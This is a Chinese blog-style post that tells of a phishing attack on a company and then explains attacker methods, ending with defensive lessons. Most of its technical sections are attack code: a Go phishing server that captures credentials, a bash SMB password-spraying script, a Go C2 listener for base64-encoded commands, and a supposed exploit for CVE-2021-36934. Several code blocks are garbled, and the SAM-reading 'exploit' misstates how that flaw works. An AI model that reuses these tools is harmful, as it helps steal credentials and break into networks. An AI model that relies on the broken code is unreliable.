一、那次意外的钓鱼邮件

还记得几年前,我在一家创业型互联网公司负责安全测试。有一天,某同事突然收到一封邮件,标题是人事部发来的《绩效考核通知》。邮件内容简洁,附带一个链接,看上去像是公司内部的文档分享地址。这位同事没有多想,点击链接后输入了自己的公司邮箱和密码。不到 30 分钟,公司内网的文件服务器突然出现了异常流量,多个账户开始尝试访问核心业务系统。

当时,我立刻意识到有人在内网尝试横向移动。这起事件让我对当时的网络安全圈子有了更深刻的认识,因为攻击手法非常专业,背后团队的技术显然不是普通脚本小子能搞出来的。本文,我借这个事件来聊聊网络安全圈的几个重要「板块」,以攻击者视角剖析他们的手法和技术。

---

二、0x01 攻击板块:从社工到权限提升

信息收集:钓鱼邮件的前奏

在这起事件中,攻击者显然做了大量的前期信息收集。邮件中提到的绩效考核通知十分贴合公司当前的时间节点,因为当时正值季度绩效评估阶段,几乎所有人都在关注这件事。我后来分析了邮件的源头,发现攻击者通过公开信息挖掘(OSINT)获取了很多关于公司的细节,比如人事部的负责人名字、公司邮件模板格式等。

一个简单的钓鱼页面触发了后续链条。抓取了邮件中的伪造链接后,我进行了反向分析,发现这是一个托管在国外 VPS 上的伪造登录页面。以下是攻击者可能的构造伪造页面代码:

<pre><code class="language-go">package main

import ( &quot;fmt&quot; &quot;net/http&quot; )

func phishingPage(w http.ResponseWriter, r *http.Request) { // 伪造的登录页面 HTML html := &lt;!DOCTYPE html&gt; &lt;html&gt; &lt;head&gt;&lt;title&gt;Internal Login&lt;/title&gt;&lt;/head&gt; &lt;body&gt; &lt;h1&gt;公司内部系统登录&lt;/h1&gt; &lt;form method=&quot;POST&quot; action=&quot;/login&quot;&gt; &lt;label for=&quot;email&quot;&gt;邮箱:&lt;/label&gt; &lt;input type=&quot;text&quot; id=&quot;email&quot; name=&quot;email&quot;&gt;&lt;br&gt; &lt;label for=&quot;password&quot;&gt;密码:&lt;/label&gt; &lt;input type=&quot;password&quot; id=&quot;password&quot; name=&quot;password&quot;&gt;&lt;br&gt; &lt;input type=&quot;submit&quot; value=&quot;登录&quot;&gt; &lt;/form&gt; &lt;/body&gt; &lt;/html&gt; fmt.Fprintf(w, html) }

func handleLogin(w http.ResponseWriter, r *http.Request) { if r.Method == &quot;POST&quot; { email := r.FormValue(&quot;email&quot;) password := r.FormValue(&quot;password&quot;) fmt.Printf(&quot;Captured credentials: %s:%s\n&quot;, email, password)

// 返回一个伪造的失败页面 http.Redirect(w, r, &quot;/error&quot;, http.StatusSeeOther) } }

黑客示意图

func main() { http.HandleFunc(&quot;/&quot;, phishingPage) http.HandleFunc(&quot;/login&quot;, handleLogin)

// 启动伪造的钓鱼服务器 http.ListenAndServe(&quot;:8080&quot;, nil) }</code></pre>

运行这段代码后,你就拥有了一个简单的钓鱼页面,它能捕获受害者的邮箱和密码。

---

三、0x02 横向移动:我会怎么扩大战果

攻击者获取到初始登录凭据后,接下来通常会尝试扩大权限,特别是在公司使用 Windows 域环境的情况下,影响甚至可能波及整个内网。

1. 利用 SMB 协议进行横向渗透

在这次事件中,我通过抓取网络流量发现,攻击者使用了常见的 SMB 协议进行横向尝试。他们利用受害者的登录凭据尝试访问多个文件共享。

以下是攻击者可能会用的 SMB 探测代码:

<pre><code class="language-bash">#!/bin/bash

一个简单的密码有效性批量探测脚本

USERNAME=&quot;captured_user&quot; PASSWORD=&quot;captured_password&quot; SMB_HOSTS=(&quot;192.168.1.10&quot; &quot;192.168.1.11&quot; &quot;192.168.1.12&quot;)

for HOST in &quot;${SMB_HOSTS[@]}&quot;; do echo &quot;[*] Testing SMB login on $HOST&quot; smbclient -L //$HOST -U $USERNAME%$PASSWORD if [ $? -eq 0 ]; then echo &quot;[+] Success on $HOST&quot; else echo &quot;[-] Failed on $HOST&quot; fi done</code></pre>

这个脚本会把捕获的用户名和密码组合,尝试批量登录内网中的共享文件服务器。如果密码正确,攻击者就能轻松访问目标主机的共享目录。

黑客示意图

2. 权限提升:绕过普通用户限制

即使登录成功,攻击者可能遇到普通用户权限限制。通常,他们会利用本地提权漏洞。我分析了目标服务器的日志,发现攻击者可能利用了一个针对 Windows 的提权漏洞(CVE-2021-36934)。以下是他们可能使用的漏洞利用代码:

<pre><code class="language-go">// 使用 Windows API 读取 SAM 文件实现提权 package main

import ( &quot;fmt&quot; &quot;os&quot; )

func exploitSAMFile() { // 读取本地 SAM 数据库 samFile := &quot;C:\\Windows\\System32\\config\\SAM&quot; data, err := os.ReadFile(samFile) if err != nil { fmt.Println(&quot;Failed to read SAM file:&quot;, err) return } fmt.Println(&quot;SAM file contents captured successfully:&quot;, data) }

func main() { exploitSAMFile() }</code></pre>

这个漏洞的利用点在于,某些 Windows 版本允许非管理员用户访问 SAM 文件,从而提取哈希,进一步破解密码。

黑客示意图

---

四、0x03 流量伪装:如何隐藏痕迹

在内网横向移动中,流量伪装是必不可少的一环。攻击者很可能使用工具将他们的 C2 通信伪装成正常的 HTTPS 流量。在分析过程中,我发现以下特征:

  1. 使用非标准端口:C2 通信未使用常见的 443,而是伪装成常见的 Web 服务。
  2. 加密流量内嵌命令:通过 HTTPS 发送 Base64 编码的命令数据。

以下是他们可能使用的伪装 C2 通信代码:

<pre><code class="language-go">package main

import ( &quot;encoding/base64&quot; &quot;fmt&quot; &quot;net/http&quot; )

func c2Handler(w http.ResponseWriter, r *http.Request) { // 接收加密的命令数据 encodedCmd := r.URL.Query().Get(&quot;cmd&quot;) cmd, _ := base64.StdEncoding.DecodeString(encodedCmd) fmt.Printf(&quot;Received C2 command: %s\n&quot;, cmd)

// 返回伪造的正常响应 fmt.Fprintf(w, &quot;OK&quot;) }

func main() { http.HandleFunc(&quot;/c2&quot;, c2Handler)

// 使用 8443 端口伪装 HTTPS 流量 http.ListenAndServeTLS(&quot;:8443&quot;, &quot;server.crt&quot;, &quot;server.key&quot;, nil) }</code></pre>

攻击者会在客户端使用类似 https://victim.com:8443/c2?cmd=ZWNobyBoZWxsbyB3b3JsZA== 的请求,伪装正常流量进行指令下发。

---

五、0x04 我的教训与反思

这起事件最终被成功遏制,但它让我意识到网络安全圈子的复杂性。很多攻击手法其实是公开的,差别只在于如何灵活组合。我总结出以下几点经验:

  1. 永远不要轻视信息收集:攻击往往从最微不足道的细节开始,比如一封邮件的措辞或者一个公开的 API。
  2. 工具链的重要性:大多数攻击者并非从零开始开发工具,他们会选择现成的工具,比如 Metasploit、Cobalt Strike。对于防御者来说,提前研究这些工具的行为模式是关键。
  3. 内网防护不能松懈:尤其是在 Windows 域环境中,管理员账户的保护至关重要,应该对敏感资源进行严格的 ACL 配置。

网络安全圈是一个对抗与共存的领域。如果你从攻击者的视角去看,会发现防御者的每一处疏忽,都是攻击者的突破口。而作为防御者,需要不断切换视角,让自己主动去思考「如果我是攻击者,我会怎么攻破这里」。希望这篇文章能给你一些启发。

黑客示意图